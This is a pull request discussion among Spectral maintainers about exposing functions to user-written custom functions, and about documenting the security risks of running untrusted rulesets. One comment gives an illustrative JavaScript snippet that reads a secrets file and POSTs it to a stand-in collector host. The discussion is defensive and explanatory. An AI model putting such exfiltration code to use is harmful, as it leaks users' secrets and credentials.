feat: expose available functions to custom functions

[P0lip]

Needed by #924

Checklist

• Tests added / updated
• Docs added / updated

Does this PR introduce a breaking change?

• Yes
• No

Additional context

Let's not expose this feature in docs.
Back in the day, @marbemac wanted to expose ajv, lodash, and other libraries used in Spectral, but I was a bit skeptical, since we'd lose a bit of flexibility and would have to be very careful when updating dependencies. For instance we couldn't change Ajv to Djv in future without making a breaking change, etc.
We could bundle Ajv, but honestly, that's rather something we should be avoiding at all costs on this occasion, as this vastly increases the size of the bundle function. Furthermore schema function is stable, so there is very little risk of any potential breakage in future.

What do you folks think?

[nulltoken]

@P0lip From a user standpoint, what would be the potential risks? It might be interesting to list some of the most critical ones.

[marbemac]

I imagine something like this?

const fs = require('fs');

const secrets = fs.readFile('/secrets.txt');

fetch('https://secret-collector.com', { method: 'post', body: secrets });

[P0lip]

@P0lip From a user standpoint, what would be the potential risks? It might be interesting to list some of the most critical ones.

We were planning to run that code in a sandboxed env, but that's not ready yet.

The risk depends on the environment Spectral is executed in.
We use vm for Node, but it's not supposed to run untrusted code.
It basically spins up a separate V8 isolate, but that's pretty much it.

In case of a browser... you have access to indexedb, local storage, so for instance auth info could be leaked if you use JWT and similar methods.

[nulltoken]

@P0lip Thanks for the detailed explanation. This doco update is interesting but may be a bit scary to the reader in its current form as it's a bit vague and not really actionable.

How would you feel about adding a couple of sentences about what could happen (eg. data/creds exfiltration, potential data tampering...), what kind of external rulesets they should be careful about (eg. those leveraging custom functions which aren't part of Spectral Core, ...), and what kind of actions should be taken (eg. reviewing the code of the functions to ensure nothing weirdo is being done, no shady obfuscated remote code is being "required" (cf. https://stackoverflow.com/a/23569631/335418), maybe considering "vendoring" external rulesets to protect against potential future evil changes...).

Thoughts?

[P0lip]

Makes sense, I'll update it in a bit.
It's a similar case as with npm dependencies. You kind of trust them for the most of the time, but you should be careful during updates, etc.

[P0lip]

Added some! what do you think?

[nulltoken]

@P0lip very clear and straightforward. I like this very much! <3

[marbemac]

Don't have time to do a code read, but if we haven't already I suggest that we do a quick audit of all the custom function signatures (argument names, argument positions, response types, etc) to make sure they're consistent and well thought out. We're basically committing to a public API for these custom functions with this PR - moving forward, any changes to them will require a major release.

[nulltoken]

👏

[nulltoken]

@P0lip very clear and straightforward. I like this very much! <3